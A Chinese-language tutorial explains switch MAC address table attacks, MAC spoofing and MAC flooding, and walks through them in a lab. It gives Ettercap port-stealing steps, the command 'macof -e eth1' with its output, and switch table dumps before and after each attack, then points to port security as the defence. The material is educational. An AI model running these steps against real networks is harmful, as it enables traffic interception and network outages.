目录

前言
MAC Address Table 原理
MAC Spoofing Attack (MAC 欺骗攻击)
MAC Flooding Attack (MAC 洪水攻击)
攻击後果
  资料外泄
  网路效能下降或服务中止
  中间人攻击 (Man-in-the-middle Attack)
防御方法

前言

Mac Address Table 是 Switch 的灵魂,如果 Mac Address Table 被攻击,会引致网络效能下降,或造成资料被窃取,甚至遭受 Man-in-the-Middle 攻击,本篇文章会尝试使用一些免费工具程式来达到攻击效果。

⛑️  本文目的只为学术研究,解释网络漏洞及防治方法,并不鼓励任何犯法行为,敬请留意。⛑️

MAC Address Table 原理

Switch 每分每秒都会从不同的 Port 收到来自不同 Host 的 Data Frame,Switch 会查看这些 Frame 内的 Source MAC Address,并把 MAC Address 及相对应的 Port 纪录在 MAC Address Table 之中。这样,Switch 便可以知道每个 Port 正在连接着那个 Mac Address,以後当 Switch 收到目的地为此 MAC Address 的 Frame,就会派送到该 Port。

但由於 MAC Address Table 系统在预设的情况下并没有验证机制,只讲信任,连接着 Switch 的 Host 说自己是什麽 MAC Address,Switch 都会信以为真。理论上,Host 可以把虚假的 MAC Address 放进 Frame 里面发给 Switch,让 Switch 把该个虚假 MAC Address 放进 MAC Address Table 之中,以达到攻击效果。

MAC Spoofing Attack (MAC 欺骗攻击)

首先要讨论的是 MAC Spoofing Attack。MAC Spoofing Attack 意思是攻击者向 Switch 提供虚假的 MAC Address 让它写进 MAC Address Table 之中,而这个 MAC Address 刚好是网络里另一台 Host (受害者) 的 MAC Address。即是说,所有要传给这个 Host 的讯息,都会被误传至伪冒的攻击者。请看以下图像说明。

Mac Address Table Attack

正常情况下,Switch 会用 MAC Address Table 来纪录各 Host 的 MAC Address 及相对的 Port。

  • 1️⃣  PC1 想传送 Frame 给 PC2,因此在 Frame 的 Destination Address 写上 PC2 的 MAC Address (ABCD.EF00.0002),并传送给 Switch
  • 2️⃣  Switch 查看 MAC Address Table,确定目的地在 Port Fa0/2
  • 3️⃣  Switch 把 Frame 在 Fa0/2 送出

Mac Address Table Attack

在遭受 MAC Spoofing Attack 的网络,情况则有点不同。

  • 1️⃣  攻击者故意把 PC2 的 MAC Address (ABCD.EF00.0002) 写在 Frame 的 Source Address 发给 Switch
  • 2️⃣  Switch 误以为 ABCD.EF00.0002 在 Fa0/3,并更新自己的 MAC Address Table
  • 3️⃣  PC1 传送 Frame 给 PC2
  • 4️⃣  根据 MAC Address Table,Switch 把 Frame 错误地传送给攻击者

看完理论,我们尝试实践。在 Kali Linux 中有一个名为 Ettercap 的工具,我们可以用这工具来作攻击测试。

Mac Address Table Attack

选 Sniff ➡️  Unified Sniffing,然後选择用来发动攻击的 interface。

Mac Address Table Attack

选 Hosts ➡️  Scan for hosts,然後到 Hosts ➡️  Hosts list,可以看到现时正连接网络的所有 Host。

Mac Address Table Attack

在发动攻击之前先看一下现时 Switch 在正常情况下的 MAC Address Table。Gi1/0/1 和 Fa1/0/1 连接着 Host,而攻击者将会在 Fa1/0/24 发动攻击。

SW#show mac address-table dynamic 
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----
   1    0016.468f.c381    DYNAMIC     Gi1/0/2
   1    0016.468f.c382    DYNAMIC     Gi1/0/1
   1    0016.468f.c3c0    DYNAMIC     Gi1/0/1
   1    001e.7a37.c8e5    DYNAMIC     Fa1/0/1
   1    f01e.3412.0f4d    DYNAMIC     Fa1/0/24
Total Mac Addresses for this criterion: 5

回到 Ettercap 选 Mitm ➡️  Port Stealing,工具程式帮我们做了什麽呢?可以打开 WireShark 看看,发现攻击者不断发放 ARP Request 给 Switch,而 Source Address 则写上其他 Host 的 MAC Address。

Mac Address Table Attack

再查看 MAC Address Table,发现原本指向 Gi1/0/1 和 Fa1/0/1 的纪录都被更新了,改为指向攻击者的 Fa1/0/24。

SW#show mac address-table dynamic 
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----
   1    0016.468f.c381    DYNAMIC     Gi1/0/2
   1    0016.468f.c382    DYNAMIC     Gi1/0/1
   1    0016.468f.c3c0    DYNAMIC     Fa1/0/24
   1    001e.7a37.c8e5    DYNAMIC     Fa1/0/24
   1    f01e.3412.0f4d    DYNAMIC     Fa1/0/24
Total Mac Addresses for this criterion: 5

再用 WireShark 看看,现在网络上 Host 之间的沟通都送来攻击者的电脑了。

Mac Address Table Attack

MAC Flooding Attack (MAC 洪水攻击)

每台 Switch 的 MAC Address Table 都有容量限制,低阶的 Switch 一般只能容纳数千条纪录,而高阶型号则可多达数万或数十万条。如果 MAC Address Table 被虚假的纪录塞满,正确的纪录就会无法写入,导致 Switch 无法在 MAC Address Table 找出目的地 Port,於是改为用 Broadcast 传送资料。Broadcast 会占用网络频宽,而最严重的问题是资讯会被暴露於整个网络之中,被攻击者撷取。

要查看 Switch 的 MAC Address Table 容量,可以用 show mac address-table count

SW#show mac address-table count

Mac Entries for Vlan 1:
---------------------------
Dynamic Address Count  : 3
Static  Address Count  : 0
Total Mac Addresses    : 3

Total Mac Address Space Available: 5564

我们的目标就是要填满那馀下的 5564 的空间,Kali Linux 里面的 macof 可作 Flooding 攻击测试。

打开 Terminal 输入 macof -e <interface>,macof 便会立刻进行攻击,攻击原理为随机产生 MAC Address 并放进 Frame 中送出。

root@kali:~# macof --help
macof: invalid option -- '-'
Version: 2.4
Usage: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport]
             [-i interface] [-n times]
root@kali:~# macof -e eth1
e3:8b:88:3:b4:cd d8:25:98:35:61:87 0.0.0.0.9537 > 0.0.0.0.18576: S 1905213613:1905213613(0) win 512
91:33:3b:3:a0:f5 d6:11:53:f:5e:c8 0.0.0.0.8066 > 0.0.0.0.49105: S 428779274:428779274(0) win 512
c4:27:40:74:3d:11 b9:a5:d3:1d:e:bf 0.0.0.0.8772 > 0.0.0.0.42343: S 1206065071:1206065071(0) win 512
9a:d7:d9:6a:fd:ee 9b:e8:7:15:e4:1d 0.0.0.0.44381 > 0.0.0.0.7072: S 352131538:352131538(0) win 512
42:33:77:69:9b:65 ef:3b:4c:19:e2:bd 0.0.0.0.24920 > 0.0.0.0.19837: S 1039619585:1039619585(0) win 512
a:60:b2:3d:fc:af d3:7c:5b:36:4a:61 0.0.0.0.17578 > 0.0.0.0.4432: S 727135709:727135709(0) win 512
18:75:26:4c:a8:23 10:81:2a:12:e1:be 0.0.0.0.42271 > 0.0.0.0.61161: S 1071867223:1071867223(0) win 512
98:15:eb:38:f3:c1 c8:d7:c1:61:be:a3 0.0.0.0.30693 > 0.0.0.0.57646: S 1759104040:1759104040(0) win 512
dc:6d:43:15:be:52 99:19:41:22:4e:36 0.0.0.0.29211 > 0.0.0.0.63665: S 481173385:481173385(0) win 512
42:d5:ac:47:75:fd 2:3c:f5:3a:29:b0 0.0.0.0.14787 > 0.0.0.0.57718: S 1888990933:1888990933(0) win 512
4d:ed:18:48:f0:f5 4b:ba:a5:66:ef:ee 0.0.0.0.54900 > 0.0.0.0.37268: S 397896255:397896255(0) win 512

<--Output Omitted-->

Switch 毫不犹疑就把所有 MAC Address 放进 MAC Address Table。

SW#show mac address-table       
          Mac Address Table
-------------------------------------------

Vlan    Mac Address       Type        Ports
----    -----------       --------    -----
   1    0008.3714.23ca    DYNAMIC     Fa1/0/23
   1    000a.b745.4d74    DYNAMIC     Fa1/0/23
   1    000e.8528.b694    DYNAMIC     Fa1/0/23
   1    0010.60dd.4d6a    DYNAMIC     Fa1/0/23
   1    0016.468f.c381    DYNAMIC     Gi1/0/2
   1    0016.468f.c382    DYNAMIC     Gi1/0/1
   1    001a.8b7b.69ad    DYNAMIC     Fa1/0/23
   1    001e.7a37.c8e5    DYNAMIC     Fa1/0/1
   1    0026.0c02.85ab    DYNAMIC     Fa1/0/23
   1    0027.ab5e.0c9f    DYNAMIC     Fa1/0/23
   1    002b.9f19.7c59    DYNAMIC     Fa1/0/23
   1    0033.7a1b.27a6    DYNAMIC     Fa1/0/23
   1    0040.145f.9b17    DYNAMIC     Fa1/0/23
   1    005f.9b5c.ffa7    DYNAMIC     Fa1/0/23
   1    0061.eb6f.174d    DYNAMIC     Fa1/0/23
   1    0075.a023.e467    DYNAMIC     Fa1/0/23
   1    0076.7375.dc6d    DYNAMIC     Fa1/0/23
   1    007a.470f.f51a    DYNAMIC     Fa1/0/23
   1    007d.b144.c298    DYNAMIC     Fa1/0/23
   1    0087.7941.3cd3    DYNAMIC     Fa1/0/23

<--Output Omitted-->

不消几秒钟,MAC Address Table 就被填满了。

SW#show mac address-table count 

Mac Entries for Vlan 1:
---------------------------
Dynamic Address Count  : 6024
Static  Address Count  : 0
Total Mac Addresses    : 6024

Total Mac Address Space Available: 0

如果攻击持续 5 分钟以上,旧有而正确的纪录会因为 Timeout 而被消去 (MAC Address Table Timeout 预设为 5 分钟)。可是 MAC Address Table 因被虚假纪录填满,再也无法写入纪录。由於 Switch 不能从 MAC Address Table 找到目的地纪录,就会改为使用 Broadcast 传送。

这时只要用撷取软件即可看到网络上各 Host 所传送的 Frame。

Mac Address Table Attack

攻击後果

MAC Address Table 攻击主要带来三个问题:

资料外泄

攻击者干扰 Switch 运作,从而接收到 Host 之间的讯息,如讯息没有加密则造成资料外泄。就算讯息有加密,攻击者亦可收集资讯,例如收集使用者经常造访的网站,透过 Social Engineering 进行下一步攻击。

网路效能下降或服务中止

被攻击的 Switch 会产生 Broadcast 导致网络效能下降,甚至会因为无法处理大量 MAC Address 而造成当机。

中间人攻击 (Man-in-the-middle Attack)

如攻击者伪装成网络的 Default Gateway 就可作出 Man-in-the-middle Attack,检视或改动所有跨越到另一个网络或连线到 Internet 的所有讯息。

Mac Address Table Attack

防御方法

MAC Address Table Attack 的防御方法为使用 Port Security 来限制 Port 的 MAC Address,本网已有文章介绍 Port Security 设定方法,在此不作重覆。